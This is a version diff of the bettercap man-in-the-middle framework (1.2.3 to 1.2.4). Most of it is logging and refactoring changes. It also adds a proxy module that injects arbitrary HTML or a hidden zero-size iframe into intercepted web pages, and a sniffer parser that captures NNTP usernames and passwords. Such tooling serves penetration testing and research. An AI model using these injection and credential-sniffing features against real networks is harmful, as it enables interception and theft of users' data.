bettercap 1.2.3 → 1.2.4
Sign up to get free protection for your applications and to get access to all the features.
- checksums.yaml +4 -4
- data/README.md +60 -11
- data/lib/bettercap/context.rb +1 -1
- data/lib/bettercap/discovery/thread.rb +56 -10
- data/lib/bettercap/options.rb +27 -3
- data/lib/bettercap/proxy/module.rb +1 -1
- data/lib/bettercap/proxy/modules/injectcss.rb +1 -1
- data/lib/bettercap/proxy/modules/injecthtml.rb +55 -0
- data/lib/bettercap/proxy/modules/injectjs.rb +1 -1
- data/lib/bettercap/proxy/proxy.rb +1 -1
- data/lib/bettercap/proxy/streamer.rb +4 -2
- data/lib/bettercap/sniffer/parsers/nntp.rb +24 -0
- data/lib/bettercap/spoofers/base.rb +0 -37
- data/lib/bettercap/spoofers/none.rb +1 -1
- data/lib/bettercap/version.rb +1 -1
- metadata +4 -2
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA1:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: d277978f66ed5f5cd7f82b8fb071c5869c1f6c4b
|
4
|
+
data.tar.gz: ff6e06d690813d5898c0ba8f20564604b185ee96
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: 4ac7c66a0e57e773cfd69d448e3f558588f5816267b1d6fd2513a2b1696a124ad1d2886b880be4ef5116f0c042d9ef182c71f04e6d5081f20ec08df8b75892e6
|
7
|
+
data.tar.gz: b4580bc7a43f897d592ba531dedda3d71230f669d22737b81785a94cfb815eaebb568eb57aca89c66b09cde476165702f299cf53bba146e1e54cf6c79d79db2a
|
data/README.md
CHANGED
@@ -1,19 +1,68 @@
|
|
1
|
-
![logo](http://www.bettercap.org/assets/img/homepage-logo.png)
|
2
|
-
http://www.bettercap.org/
|
3
|
-
|
4
|
-
[![Gem Version](https://badge.fury.io/rb/bettercap.svg)](http://badge.fury.io/rb/bettercap) [![Code Climate](https://codeclimate.com/github/evilsocket/bettercap/badges/gpa.svg)](https://codeclimate.com/github/evilsocket/bettercap) [![Join the chat at https://gitter.im/evilsocket/bettercap](https://badges.gitter.im/evilsocket/bettercap.svg)](https://gitter.im/evilsocket/bettercap?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge)
|
5
|
-
---
|
6
|
-
|
7
1
|
**bettercap** is a complete, modular, portable and easily extensible **MITM** tool and framework with every kind of diagnostic
|
8
2
|
and offensive feature you could need in order to perform a man in the middle attack.
|
9
3
|
|
10
|
-
Contact me at:
|
11
|
-
|
12
|
-
- Twitter: [@evilsocket](https://twitter.com/evilsocket)
|
13
|
-
- Email: evilsocket@gmail.com
|
14
|
-
|
15
4
|
Before submitting issues, please read the relevant [section](http://www.bettercap.org/docs/contribute/) in the documentation.
|
16
5
|
|
6
|
+
<table>
|
7
|
+
<tr>
|
8
|
+
<th>Version</th>
|
9
|
+
<td>
|
10
|
+
<a href="http://badge.fury.io/rb/bettercap" target="_blank">
|
11
|
+
<img src="https://badge.fury.io/rb/bettercap.svg"/>
|
12
|
+
</a>
|
13
|
+
</td>
|
14
|
+
</tr>
|
15
|
+
<tr>
|
16
|
+
<th>Homepage</th>
|
17
|
+
<td><a href="http://www.bettercap.org/">http://www.bettercap.org/</a></td>
|
18
|
+
</tr>
|
19
|
+
<tr>
|
20
|
+
<th>Blog</th>
|
21
|
+
<td><a href="http://www.bettercap.org/blog/">http://www.bettercap.org/blog/</a></td>
|
22
|
+
<tr>
|
23
|
+
<th>Github</th>
|
24
|
+
<td><a href="https://github.com/evilsocket/bettercap">http://github.com/evilsocket/bettercap</a></td>
|
25
|
+
<tr/>
|
26
|
+
<tr>
|
27
|
+
<th>Documentation</th>
|
28
|
+
<td><a href="http://www.bettercap.org/docs/">http://www.bettercap.org/docs/</a></td>
|
29
|
+
</tr>
|
30
|
+
<tr>
|
31
|
+
<th>Code Documentation</th>
|
32
|
+
<td>
|
33
|
+
<a href="http://www.rubydoc.info/github/evilsocket/bettercap">http://www.rubydoc.info/github/evilsocket/bettercap</a>
|
34
|
+
|
35
|
+
<a href="https://codeclimate.com/github/evilsocket/bettercap" target="_blank">
|
36
|
+
<img src="https://codeclimate.com/github/evilsocket/bettercap/badges/gpa.svg"/>
|
37
|
+
</a>
|
38
|
+
</td>
|
39
|
+
</tr>
|
40
|
+
<tr>
|
41
|
+
<th>Author</th>
|
42
|
+
<td><a href="http://www.evilsocket.net/">Simone Margaritelli</a> (<a href="http://twitter.com/evilsocket">@evilsocket</a>)</td>
|
43
|
+
</tr>
|
44
|
+
<tr>
|
45
|
+
<th>Twitter</th>
|
46
|
+
<td><a href="http://twitter.com/bettercap">@bettercap</a></td>
|
47
|
+
</tr>
|
48
|
+
<tr>
|
49
|
+
<th>Chat</th>
|
50
|
+
<td>
|
51
|
+
<a href="https://gitter.im/evilsocket/bettercap" target="_blank">
|
52
|
+
<img src="https://badges.gitter.im/evilsocket/bettercap.svg"/>
|
53
|
+
</a>
|
54
|
+
</td>
|
55
|
+
</tr>
|
56
|
+
<tr>
|
57
|
+
<th>Copyright</th>
|
58
|
+
<td>2015-2016 Simone Margaritelli</td>
|
59
|
+
</tr>
|
60
|
+
<tr>
|
61
|
+
<th>License</th>
|
62
|
+
<td>GPL v3.0 - (see LICENSE file)</td>
|
63
|
+
</tr>
|
64
|
+
</table>
|
65
|
+
|
17
66
|
Installation
|
18
67
|
============
|
19
68
|
|
data/lib/bettercap/context.rb
CHANGED
@@ -118,7 +118,7 @@ class Context
|
|
118
118
|
def enable_port_redirection!
|
119
119
|
@redirections = @options.to_redirections @ifconfig
|
120
120
|
@redirections.each do |r|
|
121
|
-
Logger.
|
121
|
+
Logger.debug "Redirecting #{r.protocol} traffic from port #{r.src_port} to #{r.dst_address}:#{r.dst_port}"
|
122
122
|
@firewall.add_port_redirection( r )
|
123
123
|
end
|
124
124
|
end
|
@@ -40,25 +40,71 @@ class Thread
|
|
40
40
|
|
41
41
|
private
|
42
42
|
|
43
|
+
# Return true if the +list+ of targets includes +target+.
|
44
|
+
def list_include_target?( list, target )
|
45
|
+
list.each do |t|
|
46
|
+
if t.equals?(target.ip, target.mac)
|
47
|
+
return true
|
48
|
+
end
|
49
|
+
end
|
50
|
+
false
|
51
|
+
end
|
52
|
+
|
53
|
+
# Print informations about new and lost targets.
|
54
|
+
def print_differences( prev )
|
55
|
+
diff = { :new => [], :lost => [] }
|
56
|
+
|
57
|
+
@ctx.targets.each do |target|
|
58
|
+
unless list_include_target?( prev, target )
|
59
|
+
diff[:new] << target
|
60
|
+
end
|
61
|
+
end
|
62
|
+
|
63
|
+
prev.each do |target|
|
64
|
+
unless list_include_target?( @ctx.targets, target )
|
65
|
+
diff[:lost] << target
|
66
|
+
end
|
67
|
+
end
|
68
|
+
|
69
|
+
unless diff[:new].empty? and diff[:lost].empty?
|
70
|
+
if diff[:new].empty?
|
71
|
+
snew = ""
|
72
|
+
else
|
73
|
+
snew = "Acquired #{diff[:new].size} new target#{if diff[:new].size > 1 then "s" else "" end}"
|
74
|
+
end
|
75
|
+
|
76
|
+
if diff[:lost].empty?
|
77
|
+
slost = ""
|
78
|
+
else
|
79
|
+
slost = "#{if snew == "" then 'L' else ', l' end}ost #{diff[:lost].size} target#{if diff[:lost].size > 1 then "s" else "" end}"
|
80
|
+
end
|
81
|
+
|
82
|
+
Logger.info "#{snew}#{slost} :"
|
83
|
+
|
84
|
+
msg = "\n"
|
85
|
+
diff[:new].each do |target|
|
86
|
+
msg += " [#{'NEW'.green}] #{target.to_s(false)}\n"
|
87
|
+
end
|
88
|
+
diff[:lost].each do |target|
|
89
|
+
msg += " [#{'LOST'.red}] #{target.to_s(false)}\n"
|
90
|
+
end
|
91
|
+
msg += "\n"
|
92
|
+
Logger.raw msg
|
93
|
+
end
|
94
|
+
end
|
95
|
+
|
43
96
|
# This method implements the main discovery logic, it will be executed within
|
44
97
|
# the spawned thread.
|
45
98
|
def worker
|
46
99
|
Logger.debug( 'Network discovery thread started.' ) unless @ctx.options.arpcache
|
47
100
|
|
101
|
+
prev = []
|
48
102
|
while @running
|
49
|
-
was_empty = @ctx.targets.empty?
|
50
103
|
@ctx.targets = Network.get_alive_targets(@ctx).sort_by { |t| t.sortable_ip }
|
51
104
|
|
52
|
-
|
53
|
-
Logger.info "Collected #{@ctx.targets.size} total target#{if @ctx.targets.size > 1 then "s" else "" end}."
|
105
|
+
print_differences prev
|
54
106
|
|
55
|
-
|
56
|
-
@ctx.targets.each do |target|
|
57
|
-
msg += " #{target}\n"
|
58
|
-
end
|
59
|
-
msg += "\n"
|
60
|
-
Logger.raw msg
|
61
|
-
end
|
107
|
+
prev = @ctx.targets
|
62
108
|
|
63
109
|
sleep(5) if @ctx.options.arpcache
|
64
110
|
end
|
data/lib/bettercap/options.rb
CHANGED
@@ -322,9 +322,6 @@ class Options
|
|
322
322
|
|
323
323
|
Logger.init( ctx.options.debug, ctx.options.logfile, ctx.options.silent )
|
324
324
|
|
325
|
-
Logger.warn "You are running an unstable/beta version of this software, please" \
|
326
|
-
" update to a stable one if available." if BetterCap::VERSION =~ /[\d\.+]b/
|
327
|
-
|
328
325
|
if ctx.options.check_updates
|
329
326
|
UpdateChecker.check
|
330
327
|
exit
|
@@ -333,6 +330,8 @@ class Options
|
|
333
330
|
raise BetterCap::Error, 'This software must run as root.' unless Process.uid == 0
|
334
331
|
raise BetterCap::Error, 'No default interface found, please specify one with the -I argument.' if ctx.options.iface.nil?
|
335
332
|
|
333
|
+
ctx.options.starting_message
|
334
|
+
|
336
335
|
unless ctx.options.gateway.nil?
|
337
336
|
raise BetterCap::Error, "The specified gateway '#{ctx.options.gateway}' is not a valid IPv4 address." unless Network.is_ip?(ctx.options.gateway)
|
338
337
|
ctx.gateway = ctx.options.gateway
|
@@ -510,5 +509,30 @@ class Options
|
|
510
509
|
|
511
510
|
redirections
|
512
511
|
end
|
512
|
+
|
513
|
+
# Print the starting status message.
|
514
|
+
def starting_message
|
515
|
+
on = '✔'.green
|
516
|
+
off = '✘'.red
|
517
|
+
status = {
|
518
|
+
'spoofing' => if has_spoofer? then on else off end,
|
519
|
+
'discovery' => if !target.nil? or arpcache then off else on end,
|
520
|
+
'sniffer' => if sniffer then on else off end,
|
521
|
+
'http-proxy' => if proxy then on else off end,
|
522
|
+
'https-proxy' => if proxy_https then on else off end,
|
523
|
+
'http-server' => if httpd then on else off end,
|
524
|
+
}
|
525
|
+
|
526
|
+
msg = "Starting [ "
|
527
|
+
status.each do |k,v|
|
528
|
+
msg += "#{k}:#{v} "
|
529
|
+
end
|
530
|
+
msg += "] ...\n\n"
|
531
|
+
|
532
|
+
Logger.info msg
|
533
|
+
|
534
|
+
Logger.warn "You are running an unstable/beta version of this software, please" \
|
535
|
+
" update to a stable one if available." if BetterCap::VERSION =~ /[\d\.+]b/
|
536
|
+
end
|
513
537
|
end
|
514
538
|
end
|
@@ -86,7 +86,7 @@ class Module
|
|
86
86
|
# one of them for the given code block.
|
87
87
|
def self.each_module
|
88
88
|
Object.constants.each do |klass|
|
89
|
-
const = Kernel.const_get(klass)
|
89
|
+
const = Kernel.const_get(klass.to_s)
|
90
90
|
if const.respond_to?(:superclass) and const.superclass == self
|
91
91
|
yield const
|
92
92
|
end
|
@@ -11,7 +11,7 @@ This project is released under the GPL 3 license.
|
|
11
11
|
=end
|
12
12
|
|
13
13
|
# This proxy module will take care of CSS code injection.
|
14
|
-
class
|
14
|
+
class InjectCSS < BetterCap::Proxy::Module
|
15
15
|
# CSS data to be injected.
|
16
16
|
@@cssdata = nil
|
17
17
|
# CSS file URL to be injected.
|
@@ -0,0 +1,55 @@
|
|
1
|
+
=begin
|
2
|
+
|
3
|
+
BETTERCAP
|
4
|
+
|
5
|
+
Author : Simone 'evilsocket' Margaritelli
|
6
|
+
Email : evilsocket@gmail.com
|
7
|
+
Blog : http://www.evilsocket.net/
|
8
|
+
|
9
|
+
This project is released under the GPL 3 license.
|
10
|
+
|
11
|
+
=end
|
12
|
+
|
13
|
+
# This proxy module will take care of HTML code injection.
|
14
|
+
class InjectHTML < BetterCap::Proxy::Module
|
15
|
+
# URL of the iframe if --html-iframe-url was specified.
|
16
|
+
@@iframe = nil
|
17
|
+
# HTML data to be injected.
|
18
|
+
@@data = nil
|
19
|
+
|
20
|
+
# Add custom command line arguments to the +opts+ OptionParser instance.
|
21
|
+
def self.on_options(opts)
|
22
|
+
opts.separator ""
|
23
|
+
opts.separator "Inject HTML Proxy Module Options:"
|
24
|
+
opts.separator ""
|
25
|
+
|
26
|
+
opts.on( '--html-data STRING', 'HTML code to be injected.' ) do |v|
|
27
|
+
@@data = v
|
28
|
+
end
|
29
|
+
|
30
|
+
opts.on( '--html-iframe-url URL', 'URL of the iframe that will be injected, if this option is specified an "iframe" tag will be injected.' ) do |v|
|
31
|
+
@@iframe = v
|
32
|
+
end
|
33
|
+
end
|
34
|
+
|
35
|
+
# Create an instance of this module and raise a BetterCap::Error if command
|
36
|
+
# line arguments weren't correctly specified.
|
37
|
+
def initialize
|
38
|
+
raise BetterCap::Error, "No --html-data or --html-iframe-url options specified for the proxy module." if @@data.nil? and @@iframe.nil?
|
39
|
+
end
|
40
|
+
|
41
|
+
# Called by the BetterCap::Proxy::Proxy processor on each HTTP +request+ and
|
42
|
+
# +response+.
|
43
|
+
def on_request( request, response )
|
44
|
+
# is it a html page?
|
45
|
+
if response.content_type =~ /^text\/html.*/
|
46
|
+
BetterCap::Logger.info "Injecting HTML code into http://#{request.host}#{request.url}"
|
47
|
+
|
48
|
+
if @@data.nil?
|
49
|
+
response.body.sub!( '</body>', "<iframe src=\"#{@@iframe}\" frameborder=\"0\" height=\"0\" width=\"0\"></iframe></body>" )
|
50
|
+
else
|
51
|
+
response.body.sub!( '</body>', "#{@@data}</body>" )
|
52
|
+
end
|
53
|
+
end
|
54
|
+
end
|
55
|
+
end
|
@@ -11,7 +11,7 @@ This project is released under the GPL 3 license.
|
|
11
11
|
=end
|
12
12
|
|
13
13
|
# This proxy module will take care of Javascript code injection.
|
14
|
-
class
|
14
|
+
class InjectJS < BetterCap::Proxy::Module
|
15
15
|
# JS data to be injected.
|
16
16
|
@@jsdata = nil
|
17
17
|
# JS file URL to be injected.
|
@@ -21,8 +21,10 @@ class Streamer
|
|
21
21
|
end
|
22
22
|
|
23
23
|
# Redirect the +client+ to a funny video.
|
24
|
-
def rickroll( client )
|
25
|
-
|
24
|
+
def rickroll( client, is_https )
|
25
|
+
client_ip, client_port = get_client_details( is_https, client )
|
26
|
+
|
27
|
+
Logger.warn "#{client_ip}:#{client_port} is connecting to us directly."
|
26
28
|
|
27
29
|
client.write "HTTP/1.1 302 Found\n"
|
28
30
|
client.write "Location: https://www.youtube.com/watch?v=dQw4w9WgXcQ\n\n"
|
@@ -0,0 +1,24 @@
|
|
1
|
+
=begin
|
2
|
+
|
3
|
+
BETTERCAP
|
4
|
+
|
5
|
+
Author : Simone 'evilsocket' Margaritelli
|
6
|
+
Email : evilsocket@gmail.com
|
7
|
+
Blog : http://www.evilsocket.net/
|
8
|
+
|
9
|
+
This project is released under the GPL 3 license.
|
10
|
+
|
11
|
+
=end
|
12
|
+
require 'bettercap/sniffer/parsers/base'
|
13
|
+
|
14
|
+
module BetterCap
|
15
|
+
module Parsers
|
16
|
+
# NNTP authentication parser.
|
17
|
+
class Nntp < Base
|
18
|
+
def initialize
|
19
|
+
@filters = [ /AUTHINFO\s+(USER|PASS)\s+.+/i ]
|
20
|
+
@name = 'NNTP'
|
21
|
+
end
|
22
|
+
end
|
23
|
+
end
|
24
|
+
end
|
@@ -59,41 +59,8 @@ private
|
|
59
59
|
end
|
60
60
|
end
|
61
61
|
|
62
|
-
# Print informations about new and lost targets.
|
63
|
-
def print_differences( prev_targets )
|
64
|
-
size = @ctx.targets.size
|
65
|
-
prev_size = prev_targets.size
|
66
|
-
diff = nil
|
67
|
-
label = nil
|
68
|
-
|
69
|
-
if size > prev_size
|
70
|
-
diff = @ctx.targets - prev_targets
|
71
|
-
delta = diff.size
|
72
|
-
label = 'NEW'.green
|
73
|
-
|
74
|
-
Logger.warn "Acquired #{delta} new target#{if delta > 1 then "s" else "" end}."
|
75
|
-
elsif size < prev_size
|
76
|
-
diff = prev_targets - @ctx.targets
|
77
|
-
delta = diff.size
|
78
|
-
label = 'LOST'.red
|
79
|
-
|
80
|
-
Logger.warn "Lost #{delta} target#{if delta > 1 then "s" else "" end}."
|
81
|
-
end
|
82
|
-
|
83
|
-
unless diff.nil?
|
84
|
-
msg = "\n"
|
85
|
-
diff.each do |target|
|
86
|
-
msg += " [#{label}] #{target.to_s(false)}\n"
|
87
|
-
end
|
88
|
-
msg += "\n"
|
89
|
-
Logger.raw msg
|
90
|
-
end
|
91
|
-
end
|
92
|
-
|
93
62
|
# Main spoof loop repeated each +delay+ seconds.
|
94
63
|
def spoof_loop( delay )
|
95
|
-
prev_targets = @ctx.targets
|
96
|
-
|
97
64
|
loop do
|
98
65
|
unless @running
|
99
66
|
Logger.debug 'Stopping spoofing thread ...'
|
@@ -101,8 +68,6 @@ private
|
|
101
68
|
break
|
102
69
|
end
|
103
70
|
|
104
|
-
print_differences prev_targets
|
105
|
-
|
106
71
|
Logger.debug "Spoofing #{@ctx.targets.size} targets ..."
|
107
72
|
|
108
73
|
update_targets!
|
@@ -111,8 +76,6 @@ private
|
|
111
76
|
yield(target)
|
112
77
|
end
|
113
78
|
|
114
|
-
prev_targets = @ctx.targets
|
115
|
-
|
116
79
|
sleep(delay)
|
117
80
|
end
|
118
81
|
end
|
data/lib/bettercap/version.rb
CHANGED
@@ -11,7 +11,7 @@ This project is released under the GPL 3 license.
|
|
11
11
|
=end
|
12
12
|
module BetterCap
|
13
13
|
# Current version of bettercap.
|
14
|
-
VERSION = '1.2.
|
14
|
+
VERSION = '1.2.4'
|
15
15
|
# Program banner.
|
16
16
|
BANNER = File.read( File.dirname(__FILE__) + '/banner' ).gsub( '#VERSION#', "v#{VERSION}")
|
17
17
|
end
|
metadata
CHANGED
@@ -1,14 +1,14 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: bettercap
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
version: 1.2.
|
4
|
+
version: 1.2.4
|
5
5
|
platform: ruby
|
6
6
|
authors:
|
7
7
|
- Simone Margaritelli
|
8
8
|
autorequire:
|
9
9
|
bindir: bin
|
10
10
|
cert_chain: []
|
11
|
-
date: 2016-01-
|
11
|
+
date: 2016-01-21 00:00:00.000000000 Z
|
12
12
|
dependencies:
|
13
13
|
- !ruby/object:Gem::Dependency
|
14
14
|
name: colorize
|
@@ -118,6 +118,7 @@ files:
|
|
118
118
|
- lib/bettercap/proxy/certstore.rb
|
119
119
|
- lib/bettercap/proxy/module.rb
|
120
120
|
- lib/bettercap/proxy/modules/injectcss.rb
|
121
|
+
- lib/bettercap/proxy/modules/injecthtml.rb
|
121
122
|
- lib/bettercap/proxy/modules/injectjs.rb
|
122
123
|
- lib/bettercap/proxy/proxy.rb
|
123
124
|
- lib/bettercap/proxy/request.rb
|
@@ -133,6 +134,7 @@ files:
|
|
133
134
|
- lib/bettercap/sniffer/parsers/https.rb
|
134
135
|
- lib/bettercap/sniffer/parsers/irc.rb
|
135
136
|
- lib/bettercap/sniffer/parsers/mail.rb
|
137
|
+
- lib/bettercap/sniffer/parsers/nntp.rb
|
136
138
|
- lib/bettercap/sniffer/parsers/ntlmss.rb
|
137
139
|
- lib/bettercap/sniffer/parsers/post.rb
|
138
140
|
- lib/bettercap/sniffer/parsers/url.rb
|